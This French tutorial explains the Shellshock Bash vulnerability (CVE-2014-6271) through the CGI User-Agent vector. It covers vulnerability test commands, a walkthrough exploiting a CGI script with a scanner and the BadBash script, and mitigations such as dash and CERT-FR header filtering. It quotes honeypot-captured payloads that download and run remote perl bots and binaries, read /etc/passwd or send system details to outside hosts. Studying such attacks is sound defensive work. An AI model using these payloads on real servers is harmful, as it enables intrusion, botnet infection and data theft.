Bash est un shell Unix, c'est-à-dire un interpréteur de commande pour les systèmes d'exploitation de type Unix. Il est l'interpréteur par défaut du projet GNU et le shell par défaut d'un grand nombre de distributions GNU/Linux, mais pas toutes. Par exemple Ubuntu ne lance pas Bash avec son /bin/sh, mais dash, Bash n'étant disponible que pour l'utilisateur en session interactive. Bash se retrouve également dans Apple Mac OS X et dans Microsoft Windows via Cygwin (SFU, Services for Unix, utilise csh ou ksh).

Il s'agit d'exploiter un bash-isme, une spécificité du shell Bash, permettant d'exporter une fonction et non seulement une variable. Les autres shells (ksh, zsh, dash, …) ne sont pas concernés par cette faille. Par ailleurs, Bash ne permet pas cet export de fonctions s'il est utilisé avec l'option -p ).

Il est tout à fait normal de vouloir passer des variables d'environnement à un processus enfant.

Mais Bash permet en outre de passer des fonctions vers le processus enfant. Aucun autre shell ne permet cela. Dans ce cadre relativement strict, la sécurité ne pose pas de problème : les droits et contextes d'exécution sont identiques et l'utilisateur, système ou non, est le même. Ceci est documenté, il s'agit de l'option -f de la commande export dans le shell Bash.

Le problème se situe dans l'usage de Bash par les autres programmes. Bash est devenu le shell par défaut de certaines distributions, et de nombreux programmes utilisent le shell par défaut pour passer des variables d'environnement entre leurs processus. Le contexte change donc : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants.

Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. Ceci explique l'ancienneté du problème.

La meilleure démonstration de la criticité d'une faille est la démonstration par l'exemple, pour cela on va étudier une fonctionnalité souvent utilisée dans le développement des applications web: la variable d'environnement user-agent.

Un agent utilisateur est une application cliente utilisée avec un protocole réseau particulier ; l'expression est plus généralement employée comme référence pour celles qui accèdent au World Wide Web. Les agents utilisateur du Web vont de la gamme des navigateurs jusqu'aux robots d'indexation, en passant par les lecteurs d'écran ou les navigateurs braille pour les personnes ayant une incapacité.

Quand un internaute visite une page Web, une chaîne de type texte est généralement envoyée au serveur pour identifier l'agent utilisateur. Elle est incluse dans la requête HTTP par l'en-tête « User-Agent » et elle donne des informations comme : le nom de l'application, la version, le système d'exploitation, la langue, etc

HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6
HTTP_CACHE_CONTROL=no-cache
HTTP_PRAGMA=no-cache
**HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36**
HTTP_HOST=cloudflare.com

Il suffit d'utiliser la variable d'environnement ${HTTPUSERAGENT} pour récupérer l'User-Agent.

#!/usr/bin/sh
USER_AGENT="${HTTP_USER_AGENT}"il

Il suffit d'utiliser $ENV{'HTTPUSERAGENT'} pour récupérer l'User-Agent.

#!/usr/bin/perl -T
use CGI;
my $user_agent = $ENV{'HTTP_USER_AGENT'};

Les conditions de l'exploitation à distance de la faille sont :

• /bin/sh pointe sur /bin/bash (ce qui est le cas pour la plupart des système GNU/Linux en dehors d'Ubuntu qui pointe sh vers DASH).
• avoir un service qui écoute le réseau et qui va exécuter bash

La seconde condition est plus difficilement acquise, car il faut que le processus fasse expressément appel à BASH (cf. exemple).

Si le bash du serveur est sensible à l'attaque (non patché), et si l'attaquant substitue le contenu de la variable d'environnement HTTPUSERAGENT par une chaîne commençant par () { il peut demander au bash d'exécuter une autre commande que la simple récupération de l'agent utilisateur,

Par exemple en remplaçant

HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36ç

par

HTTP_USER_AGENT=() { :; }; /bin/eject

pour forcer le système à ouvrir le tirroir du lecteur cd/dvd

Depuis que la vulnérabilité de shellshock a été annoncée, un grand nombre de balayages de robots sont en train de cartographier les sites vulnérables en utilisant des exploit comme celui-ci:

User-Agent: () { :; } /bin/ping -c x.y.z.q. 

Voici une revue rapide des exploits recensés par des sites “pots de miel”:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

' Celui-ci est un peu différent. Il comprend l'URL testée comme agent utilisateur. Mais bien sûr, il n'échappe pas correctement les caractères spéciaux, si cet exploit ne parvient pas dans ce cas. La page à 89.248.172.139 semble ne renvoyer qu'une page blanche.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707 89.248.172.139\x22

Celui-ci installe un bot perl simple. Se connecte à irc.hacker-newbie.org port 6667 canal #Bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

Dans ce cas shell se connecte sur le port 1992 de 46.246.34.82

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

actuellement l'adresse IP ne répond pas

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)"
Cookie: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)" 

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*

La méthode est assez simple puisqu'il suffit de servir une variable d'environnement puis d'appeler bash :

Tapez la commande suivante. Si le mot “vulnerable” apparaît, ce serveur est vulnérable :

env x='() { :;}; echo vulnerable' bash  

Tapez la commande suivante. Si la date et l'heure du jour apparaît, ce serveur est vulnérable :

cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c \"echo date\"; cat /tmp/echo

La technique demande plus d'effort, mais elle est possible (d'où la nécessité de patcher Bash).

Dans l'exemple d'attaque nous utiliserons un script cgi (principal vecteur d'attaque) qui à la bonne idée de retourner les différentes options que l'on peut lui passer, lorsqu'on fait appel à la fonction sans paramètres.

Pour cela on utilise les scanner java cst141 :
java cstcgis -db:big.db -d:cgi-bin -h:###.###.###.###

Le scanner retourne l'ensemble des scripts testés …

 +----[script.scanner]----[v1.40]-----------[CUM.Security.Toolkit]--+
 +
 + Scanning:  [###.###.###.###]
 + db: [big.db] - log: [cst_cgis.log] - method: [HEAD]
 +
 + Server: Apache
 +
 +   400 ./
 +   403 /cgi-bin/
 +   400 /cgi-bin/..%%35%63../winnt/system32/cmd.exe?/c+dir
 +   400 /cgi-bin/..%%35c../winnt/system32/cmd.exe?/c+dir
 ...
 +   200 /cgi-bin/htsearch
 +   200 /cgi-bin/info2html
 ...                                                                           
 +   404 /cgi-bin/info2www
 +   404 /cgi-bin/infogate
 +   400 \/
 +                                                                           
 +-------------------------------------------[(c).toxic.ocean.CUM]--+

… mais seuls ceux qui ont un code retour 200(ok) nous intéressent.

C'est la phase la plus ardue car il faut détecter la fonctionnalité du script CGI qui fait appel à BASH.

Dans l'exemple lorsqu'on intercepte (avec wireshark par exemple) une requête envoyée au script info2html celui-ci à la bonne idée de renvoyer l'aide en ligne

dont une ligne est plus particulièrement intéressante .

* <a href="info2html?(bash)Top">Bash</a>                              The GNU Bourne-Again SHell.\n

il s'agit de l'appel à BASH .

Pour exploiter la faille on va utiliser BadBash un script ruby développé pour tester la faille, mais que j'ai adapté pour que l'attaque soit plus visuelle. <dt2-showtable table=“auditscript” class=“wikitable” where=“Nom='badbash'” />

La commande BASH qui va être passée au serveur vulnérable est un ping vers notre propre serveur, sur lequel on aura mis wireshark en écoute.

Dans l'invite de commande on saisi l'url en complétant l'appel à info2html du paramètre ?(bash)Top comme indiqué dans l'aide en ligne (-d étant l'adresse su serveur sur lequel winshark écoute)

allinoneruby.exe BadBash.rb -t 'xxx.xxx.xxx.xxx/cgi-bin/info2html?(bash)Top' -d 'xxxx.xxx.xxx.xxx'

Dans Wireshark on voit arriver les ping en provenance du serveur attaqué.

Le Debian Almquist shell est aussi un shell Unix, il se veut petit, rapide, et conforme aux standards POSIX1.

Plus léger que le Bash, il nécessite moins d'espace disque et possède moins de fonctionnalités, notamment en tant que shell interactif.

Certaines fonctionnalités POSIX, comme la variable $LINEBI, ne sont pas encore mises en œuvre.

Dash n'étant pas exposé au shellshock on peut forcer son utilisation en remplacement de bash

Comme pour Ubuntu, par défaut, il s'agit de pointer /bin/sh sur /bin/dash et non sur /bin/bash :

sudo rm /bin/sh 
sudo ln -s /bin/dash /bin/sh

Cette solution est inopérante lorsque l'application ou le logiciel fait appel spécifiquement à bash, ou lorsque le script pointe sur /bin/bash.

Le CERT-FR recommande d'appliquer les correctifs pour réduire la facilité d'exploitation.

Cela nécessite que l'éditeur produise un tel patch.

A l'heure actuelle, certains correctifs sont incomplets en raison d'une vulnérabilité résiduelle (CVE-2014-7169)

Dans le cadre spécifique de services Web vulnérables, le CERT-FR recommande de filtrer les en-têtes HTTP commençant par les quatre caractères '() {' par le biais du module Apache mod_security ou d'un pare-feu applicatif du même type.

• Scanner de scripts CGI : cst1_41_tar.gz
• Script ruby BadBash original par Andy Yang : bad_bash-master.zip

• CERTFR-2014-ALE-006 : Vulnérabilité dans GNU bash
• Annonce initiale sur la liste Open Source Security